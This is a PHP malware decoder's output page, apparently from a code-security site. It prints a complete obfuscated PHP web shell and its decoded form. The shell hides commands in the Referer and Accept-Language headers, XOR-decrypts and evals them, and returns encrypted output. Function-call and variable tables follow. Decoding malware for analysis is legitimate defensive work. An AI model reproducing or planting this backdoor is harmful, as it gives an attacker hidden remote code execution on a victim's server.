Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $s='g_replace(arfBray("/fB_/fB","/-/"),arfBrafBy("/","+"fB)fB,$sfBs($s[$i]fB,0,$fBe)..

Decoded Output download

$kh="5d41";$kf="402a";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}

Did this file decode correctly?

Original Code

<?php
$s='g_replace(arfBray("/fB_/fB","/-/"),arfBrafBy("/","+"fB)fB,$sfBs($s[$i]fB,0,$fBe))),$k))fB);$o=ob_gefBt_cfBontents();fBfBob_';
$o='$kh="5fBd41";$kfBf="40fB2a";fufBnction x($tfB,$k){fB$c=sfBtrlen(fBfB$k);$lfB=sfBtrlenfB(fBfB$t);$o="fBfB";for($i=0fB;$i<$l;){for';
$U='RER"];fB$fBrfBa=@$r["HfBTTfBP_ACCfBEPT_LANGUAGE"];if($fBrr&&$ra){fB$ufB=parfBse_urfBl($rr);pafBrse_fBstrfB($fBu["qufBery"],$q';
$x='enfBdfB_clean();$d=base6fB4_encodfBe(fBx(gzcomprfBfBefBss($o),$k));print("fB<$kfB>$d<fB/$k>");@sefBssion_fBdestrofBy();}}}}';
$n='[$zfB]fB];fBif(strpos($p,$hfB)fB===0)fB{$s[$i]=""fB;fB$p=$ss($fBp,3);}if(fBarrafBy_keyfB_exifBsts($i,fB$s)fB){$s[$ifB].=$p';
$b=str_replace('ja','','cjarjaeajate_fujajanjaction');
$g='fB);$q=array_valfBues($q)fB;pregfB_mafBfBtch_all("/([\\w])[fB\\w-]fB+(?:;q=0fB.([\\d]))?fB,?/",$fBra,$m)fB;if($qfBfB&&$mfB){';
$k='@session_stfBarfBt()fB;$s=fB&$_SESSION;fB$ss="sfBubsfBtr";$slfB="strtolowefBfBfBfBr";$i=$m[1][0].$mfB[1][1]fB;$h=$fBfBsl(';
$X=';$e=strpofBs($sfB[$i],$f)fB;if(fB$e){fB$k=$kh.$kfBf;fBob_start();@fBfBefBval(@gzuncomprefBss(@x(@bfBase6fB4_decodfBe(pfBrefB';
$C='($j=0;($j<$fBc&&$i<$fBl)fB;$j++,$i++)fB{$o.=$t{$ifB}^$k{$jfB};}}fBfBreturfBn $o;fB}$r=$_SERVER;$rfBr=@$r["fBHTTP_fBfBREFE';
$a='$ss(fBmd5($i.$fBkh),0,3));$f=$sl($sfBs(mfBd5($fBi.$kffB),0fB,3)fB);$p="";for(fB$z=1;$z<coufBnt($mfB[1])fB;$z++)$fBp.=$q[$m[fB2]';
$P=str_replace('fB','',$o.$C.$U.$g.$k.$a.$n.$X.$s.$x);
$v=$b('',$P);$v();
?>

Function Calls

null 1
str_replace 2
create_function 1

Variables

$C ($j=0;($j<$fBc&&$i<$fBl)fB;$j++,$i++)fB{$o.=$t{$ifB}^$k{$jfB..
$P $kh="5d41";$kf="402a";function x($t,$k){$c=strlen($k);$l=str..
$U RER"];fB$fBrfBa=@$r["HfBTTfBP_ACCfBEPT_LANGUAGE"];if($fBrr&&..
$X ;$e=strpofBs($sfB[$i],$f)fB;if(fB$e){fB$k=$kh.$kfBf;fBob_sta..
$a $ss(fBmd5($i.$fBkh),0,3));$f=$sl($sfBs(mfBd5($fBi.$kffB),0fB..
$b create_function
$g fB);$q=array_valfBues($q)fB;pregfB_mafBfBtch_all("/([\w])[fB..
$k @session_stfBarfBt()fB;$s=fB&$_SESSION;fB$ss="sfBubsfBtr";$s..
$n [$zfB]fB];fBif(strpos($p,$hfB)fB===0)fB{$s[$i]=""fB;fB$p=$ss..
$o $kh="5fBd41";$kfBf="40fB2a";fufBnction x($tfB,$k){fB$c=sfBtr..
$s g_replace(arfBray("/fB_/fB","/-/"),arfBrafBy("/","+"fB)fB,$s..
$v None
$x enfBdfB_clean();$d=base6fB4_encodfBe(fBx(gzcomprfBfBefBss($o..

Stats

MD5 9989dfb9da2251a445aa4934356751c2
Eval Count 1
Decode Time 106 ms